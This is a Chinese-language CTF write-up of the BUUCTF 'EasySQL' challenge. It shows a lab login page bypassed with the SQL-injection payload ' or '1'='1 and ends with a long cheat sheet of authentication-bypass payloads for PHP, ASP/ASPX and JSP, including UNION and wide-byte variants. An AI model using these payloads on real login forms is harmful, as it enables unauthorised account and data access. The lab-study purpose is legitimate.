知识点
- sql注入
- 万能密码登录
启动靶机
启动靶机,查看题目
页面有输入框,且题目为EasySQL,SQL注入无疑了。尝试登陆:
登陆失败,通过 ‘ 判断原SQL语句闭合类型,得到报错信息:
其中包含数据库信息MariaDB以及闭合类型为字符型,尝试万能密码登陆。
' or '1'='1
最终payload
http://07f5c249-6491-43d7-988e-7c7865f821bb.node4.buuoj.cn/check.php?username=1' or '1'='1&password=1' or '1'='1
PS:用户框和密码框都需要万能密码,可能用户名验证和密码验证没有在一条sql语句中
万能密码表
PHP
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
asp/aspx
"or "a"="a
')or('a'='a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
'or.'a.'='a
"or"="a'='a
'or''='
or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
"or 1=1%00
'xor
新型万能登陆密码:
用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码 1
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
..admin' or 'a'='a 密码随便
jsp
1'or'1'='1
admin' or 1=1/*